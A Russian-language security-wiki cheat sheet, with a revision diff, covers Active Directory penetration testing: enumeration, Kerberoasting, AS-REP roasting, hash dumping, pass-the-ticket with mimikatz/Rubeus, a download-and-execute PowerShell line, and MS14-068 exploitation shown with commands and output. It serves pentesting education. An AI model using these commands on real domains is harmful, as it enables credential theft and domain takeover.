Active directory — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (.ccache)
м (MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability))
Строка 665: Строка 665:
  
 
=== MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability) ===
 
=== MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability) ===
 +
 +
Суть уязвимости в некорректной проверке чексуммы на контроллере доменов, что позволяет получить контроль над всем доменом. Поэтому соответственно проверки локальные на уязвимость должны проходить именно на контроллере доменов.
 +
 +
==== 0. Проверить есть ли уязвимость ====
 +
 +
Powershell
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
Get-HotFix 3011780
 +
</syntaxhighlight>
 +
 +
ridenum
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
~$ git clone https://github.com/trustedsec/ridenum
 +
~$ cd ridenum
 +
~$ python FindSMB2UPTime.py 10.50.50.145
 +
DC is up since: 2014-10-19 19:32:23
 +
This DC is vulnerable to MS14-068
 +
</syntaxhighlight>
 +
 +
 +
cmd.exe
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" >
 +
systeminfo | find "3011780"
 +
</syntaxhighlight>
  
 
==== 1. Получить SID пользователя ====
 
==== 1. Получить SID пользователя ====
http://itsecwiki.org/index.php/Active_directory#SID
+
 
 +
Как получить SID: http://itsecwiki.org/index.php/Active_directory#SID
  
 
==== 2. Сгенерировать билет ====
 
==== 2. Сгенерировать билет ====
 
  
 
Используя Metasploit:  
 
Используя Metasploit:  
Строка 710: Строка 735:
  
 
==== 3. Загрузить билет ====
 
==== 3. Загрузить билет ====
 +
 +
Как загрузить билет: http://itsecwiki.org/index.php/Active_directory#.D0.98.D0.BC.D0.BF.D0.BE.D1.80.D1.82_.D1.82.D0.B8.D0.BA.D0.B5.D1.82.D0.B0
 +
 +
==== 4. Настроить время ====
 +
 +
Последний шаг - перед использованием настроить время такое же как и у DC. Выше было как

Версия 18:40, 21 января 2022


Страница посвящена тестированию на проникновение сетей Active Directory на Windows OS.

Содержание

Общая информация о сети

Домен

PC в домене

cmd.exe

1 systeminfo | findstr /B /C:"Domain"
1 echo %userdomain%
1 wmic computersystem get domain

powershell

1 import-module activedirectory
2 Get-ADDomain
3 
4 # current domain info
5 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
6 
7 # domain trusts
8 ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()


Удаленно

nmap

У доменного контроллера будут как правило открыты порты: 53/tcp (dns), 389/tcp (ldap), 88/udp (kerberos), 135/tcp.

После того, как nmap найдет доменный контроллер он еще автоматом с аргументом -sV определит домен.

Поэтому для поиска можно просканнировать сеть на данные порты

1 nmap -p 53,389,135 <network/24> -v -sV

ldapsearch

Если мы нашли сервис LDAP, но по каким то причинам nmap не определил домен, то можно попытаться подключиться и самим определить.

1 ldapsearch -x -h 10.10.10.175 -s base namingcontexts

Forest Domains

Домены могут между собой обьединены в "леса" и их тоже можно узнать.

PC в домене

PowerShell

1 import-module activedirectory
2 Get-ADForest
1 # current forest info
2 [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
3 
4 # get forest trust relationships
5 ([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

cmd.exe

Доменный контроллер

nslookup

1 set type=all
2 _ldap._tcp.dc._msdcs.DOMAIN_NAME
 1 nslookup -type=srv _kerberos._tcp.EXMAPLE.COM
 2 nslookup -type=srv _kerberos._udp.EXMAPLE.COM
 3 nslookup -type=srv _kpasswd._tcp.EXAMPLE.COM
 4 nslookup -type=srv _kpasswd._udp.EXAMPLE.COM
 5 nslookup -type=srv _ldap._tcp.EXAMPLE.COM
 6 nslookup -type=srv _ldap._tcp.dc._msdcs.EXAMPLE.COM
 7 nslookup -type=srv _ldap._tcp.pdc._msdcs.EXAMPLE.COM
 8 
 9 # Если запросы идут к FOREST-домену
10 nslookup -type=srv _ldap._tcp.gc._msdcs.%DNSFORESTNAME%.
11 nslookup -type=srv _gc._tcp.%DNSFORESTNAME%.
1 nslookup -type=any %userdnsdomain%.


nltest

1 nltest /dclist:domainname

Powershell ActiveDirectory

1 Import-Module ActiveDirectory
2 (Get-ADDomainController -DomainName <Domain FQDN> -Discover -NextClosestSite).HostName

Powershell Resolve-DnsName

1 Resolve-DnsName -Name _ldap._tcp.dc._msdcs.<YOU_DOMAIN> -Type SRV


gpresult

Мало инфы

1 gpresult

Много инфы

1 gpresult /z
2 or
3 gpresult /Z


nmap

СМ. выше поиск домена используя nmap.

Доменные компьютеры

PC в домене

Powershell Get-ADComputer

1 import activedirectory
2 Get-ADComputer -Filter * -Properties IPv4Address

netdom.exe

1 netdom member
2 
3 
4 netdom /d:<domain name> \[/u:<domain>\<user to which query> /p:<password\] member

net.exe

1 net view /domain:savtech

Powershell adsisearcher

1 $AD = [adsisearcher]"objectcategory=computer"
2 $Computers = $AD.FindAll()
3 $Computers.Properties.Name

Удаленно

ldapsearch

1 ldapsearch -LLL  -H ldap://ad.ourdomain.local  -x  -D 'OURDOMAIN\user' -w 'thepassword' -b 'dc=ourdomain,dc=local' 'objectClass=computer' name

windapsearch

https://github.com/ropnop/windapsearch

1 windapsearch -C ...

Дополнительная информация о сети

Список пользователей

Без перебора

crackmapexec

1 crackmapexec smb <ip> -u <user> -p <password> --users

powershell

1 Get-ADUser -Filter 'Name -like "*SvcAccount"' | Format-Table Name,SamAccountName -A

Impacket-GetADUsers

1 python3 GetADUsers.py -all test.local/john:password123 -dc-ip 10.10.10.1

windapsearch

1 windapsearch --users ...


ldapsearch

1 ldapsearch -xLLL -h domain.org -D "domain\\user" -W -b "DC=domain,DC=org" -s sub "(objectclass=user)" sAMAccountName


С перебором

nmap

1 nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <dc_ip>

enum4linux

1 enum4linux -U <dc-ip> | grep 'user:'

Время сети

Вариантов много, но не все работают.

NTP

1 sudo service ntp stop
2 sudo ntpdate -s time.nist.gov
3 sudo service ntp start
1 root@kali:~# rdate -n 10.10.10.248
2 Sun Oct 17 19:41:14 EDT 2021
3 
4 date --set 1998-11-02 
5 date --set 21:08:00

Вариант 2 - если время откатывается обратно.

1 service ntpd stop
2 update-rc.d -f ntpd remove
3 nano /etc/ntp.conf
4 while true; do date --set 19:46:08 > /dev/null; done;
1 sudo apt-get install chrony
2 sudo timedatectl set-ntp true
3 sudo ntpdate <machine IP>

Отключить VirtualBox автоматическую установку времени

1 VBoxManage setextradata "VM name" "VBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDisabled" 1


HTTP

Можно использовать вместе с прокси

1 proxychains htpdate 172.16.249.204 -s

Сетевая информация

IP

powershell

1 Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*
1 $domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
2 $domain | ForEach-Object {$_.DomainControllers} | 
3 ForEach-Object {
4   $hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
5 New-Object -TypeName PSObject -Property @{
6       Name = $_.Name
7       IPAddress = $hostEntry.AddressList[0].IPAddressToString
8     }
9 } | Select Name, IPAddress
1 Get-WinEvent  -Computer (computer name) -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | select @{N='User';E={$_.Properties[1].Value}}

В CSV:

1 $domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
2 $domain | ForEach-Object {$_.DomainControllers} | 
3 ForEach-Object {
4   $hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
5   New-Object -TypeName PSObject -Property @{
6       Name = $_.Name
7       IPAddress = $hostEntry.AddressList[0].IPAddressToString
8      }
9 } | Export-CSV "C:\DomainControllers.csv" -NoTypeInformation -Encoding UTF8

Сервисы

Получение начального доступа

Анонимный доступ

Для проверки анонимного доступа можно воспользоваться одним из следующих протоколов.

LDAP

windapsearch

1 Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*

nmap

1 sudo nmap x.x.X.x -Pn -sV
2 
3 # 636/tcp open  ssl/ldap (Anonymous bind OK)

SMB

smbmap

1 python smbmap.py -H 192.168.0.1

smbclient

1 smbclient L 192.168.1.108

nmap

1 sudo nmap -sU -sS --script smb-enum-shares.nse -p U:137,T:139 <host>

MSRPC

rpcclient

1 rpcclient -U '' -N 10.10.10.1

Учетные данные

Сетевой перебор учетных данных (пароля)

Перебор учетных данных по протоколам лучше смотреть тут http://itsecwiki.org/index.php/Brute_force

Стоит заметить, что лучше всего использовать технику Password Spraying тк по-умолчанию аккаунты блокируются от большого количества попыток ввода пароля. Максимум лучше по 3-5 паролей на аккаунт.

Протоколы: SMB, OWA, smtp, skype,...

Оффлайн перебор

NTLM

Если у вас есть NTLM-хеш пароля пользователя, то его можно отправить на перебор.

http://itsecwiki.org/index.php/Offline_bruteforce - тут подробнее о переборе NTLM

Также хеш не обязательно перебирать, его можно будет использовать в следующих этапах при атаке Pass The Hash (когда вместо пароля пользователя отправляется его NTLM-хеш).

TGS

Если у вас есть TGS-ticket для доступа к сервису, то вы можете пробрутить пароль учетки от которой будет идти запрос.

На странице http://itsecwiki.org/index.php/Offline_bruteforce вы можете найти команды для перебора паролей.

Kerberoasting

Это метод получения TGS. После его получения перейдите в пункт выше - перебор пароля в TGS. Как правилоm его делают когда уже авторизовались в домене, но может иногда сработать при анонимном доступе. Для этого нам потребуется найти доступные SPN

Поиск SPN
Windows в домене

cmd.exe

1 setspn -T TestDomain -Q */*

Пример SPN учетки MSSQLSERVER

1 MSSQLSERVER/SQL-Server.testdomain.com:1433


Powershell

 1 $search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
 2 $search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
 3 $results = $search.Findall()
 4 foreach($result in $results)
 5 {
 6 	$userEntry = $result.GetDirectoryEntry()
 7 	Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
 8 	Write-host "SPNs"        
 9 	foreach($SPN in $userEntry.servicePrincipalName)
10 	{
11 		$SPN       
12 	}
13 	Write-host ""
14 }

Invoke-Kerberoast

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

1 iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
2 Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>


Удаленно

Windapsearch


https://github.com/ropnop/windapsearch https://github.com/ropnop/go-windapsearch

Параметр "user-spns".

Impacket GetUserSPNs

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py

1 python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>


Получение TGS
Сложные варианты

TODO

Без SPNS https://swarm.ptsecurity.com/kerberoasting-without-spns/


ASP-REP roasting

Если у Kerberos отключена предварительная аутентификация, то сервер вернет ASP-REP, зашифрованная часть которого подписана клиентским ключем на кого он выписан.

Получить хеш

Rubeus

1 Rubeus.exe aspreproast

GetNPUsers.py

1 GetNPUsers.py CONTOSO.COM/Administrator:'P@ssw0rd' -request


Для информации о переборе хеша перейдите на страницу http://itsecwiki.org/index.php/Offline_bruteforce#ASP-REP


SAM & SYSTEM

Если вы каким то образом получили SAM, SYSTEM-файлы, то вы можете извлечь из них NTLM-пароли пользователей.

Но для того, чтобы получить NTLM-хеш, вам потребуется и SAM и SYSTEM.

Получение хешей

samdump2

1 samdump2 -d ./SAM ./SYSTEM

После чего следуйте инструкциям в пункте про NTLM.

TGT-билет

Как Cookie у браузера, он требуется для получения TGS который в свою очередь используется для подключения к сервисам. Если вы нашли файл с TGT-ключем, то у него есть два формата: kirbi & ccache, поэтому надо сконвертировать.

Конвертация

https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketConverter.py

1 ./ticket_converter.py admin.ccache admin.kirbi
2 ./ticket_converter.py admin.kirbi admin.ccache

Импорт тикета

!Не забудьте установить время то же, пункт выше!

.ccache

Rubeus

1 .\Rubeus.exe ppt /ticket:new_ticket.ccache

Mimikatz

1 mimikatz # kerberos::ptt new_ticket.ccache
2 
3 mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"

Bash

1 export KRB5CCNAME=./test.ccache

Сбор информации о пользователе

SID

Получиь SID пользователя, часто нужно для запросов/эксплуатации.

Доступ к ПК

cmd.exe

1 wmic useraccount get name,sid

powershell

1 Convert-NameToSid high-sec-corp.localkrbtgt
2 S-1-5-21-2941561648-383941485-1389968811-502

Группы

С доступом к ПК

Powershell

1 Get-ADPrincipalGroupMembership username | select name
1 Import-Module ActiveDirectory
2 (Get-ADUser userName –Properties MemberOf | Select-Object MemberOf).MemberOf
3 
4 (Get-ADUser userName –Properties MemberOf).MemberOf
1 (New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($env:username)))")).FindOne().GetDirectoryEntry().memberOf


cmd.exe

1 net user /domain username

Удаленно

Windapsearch

https://github.com/ropnop/windapsearch

1 windapsearch -G ...

Ldapsearch

1 ldapsearch -x -H "ldap://openldap" -D "CN=UserName,CN=Users,DC=YOURDOMAIN,DC=NET" -w admin '(member:1.2.840.113556.1.4.1941)'
1 ldapsearch -LLL -x -h DC-THESHIP.PLANETEXPRESS.LOCAL -p 389 -D 'PLANETEXPRESS\SService' -w 'L1feD3@thSeamlessContinuum' -b 'DC=PLANETEXPRESS,DC=LOCAL' "(member=1.2.840.113556.1.4.1941)" dn

Правила

Доступ к ПК

Powershell

 1 string currentuser = Environment.UserName;
 2 string currentmachine = Environment.MachineName;
 3 
 4 if (DirectoryEntry.Exists(string.Format("WinNT://{0}/{1}", currentmachine,  currentuser)))
 5 {
 6     Console.WriteLine("it's working\n");
 7     Roles.Enabled = true;
 8     Console.WriteLine(Roles.GetRolesForUser(currentuser));
 9 }
10 else
11 {
12     Console.WriteLine("it's not working");
13 }


Удаленно

Политики

Автоматизированный поиск уязвимостей

BloodHound

PingCastle

Повышение привилегий

Горизонтальные

Вертикальные

Атаки

Некорректная настройка привилегий

Другое

MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

Суть уязвимости в некорректной проверке чексуммы на контроллере доменов, что позволяет получить контроль над всем доменом. Поэтому соответственно проверки локальные на уязвимость должны проходить именно на контроллере доменов.

0. Проверить есть ли уязвимость

Powershell

1 Get-HotFix 3011780

ridenum

1 ~$ git clone https://github.com/trustedsec/ridenum
2 ~$ cd ridenum
3 ~$ python FindSMB2UPTime.py 10.50.50.145
4 DC is up since: 2014-10-19 19:32:23
5 This DC is vulnerable to MS14-068


cmd.exe

1 systeminfo | find "3011780"

1. Получить SID пользователя

Как получить SID: http://itsecwiki.org/index.php/Active_directory#SID

2. Сгенерировать билет

Используя Metasploit:

 1 Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
 2    Name      Current Setting                                Required  Description
 3    ----      ---------------                                --------  -----------
 4    DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
 5    PASSWORD  P@ssw0rd                                       yes       The Domain User password
 6    RHOSTS    10.10.10.10                                    yes       The target address range or CIDR identifier
 7    RPORT     88                                             yes       The target port
 8    Timeout   10                                             yes       The TCP timeout to establish connection and read data
 9    USER      lambda                                         yes       The Domain User
10    USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000

Используя pykek:

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek

 1 git clone https://github.com/SecWiki/windows-kernel-exploits
 2 cd windows-kernel-exploits
 3 python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
 4 
 5 python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
 6 -1105
 7   [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
 8   [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
 9   [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
10   [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
11   [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
12   [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
13   [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
14   [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
15   [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!

3. Загрузить билет

Как загрузить билет: http://itsecwiki.org/index.php/Active_directory#.D0.98.D0.BC.D0.BF.D0.BE.D1.80.D1.82_.D1.82.D0.B8.D0.BA.D0.B5.D1.82.D0.B0

4. Настроить время

Последний шаг - перед использованием настроить время такое же как и у DC. Выше было как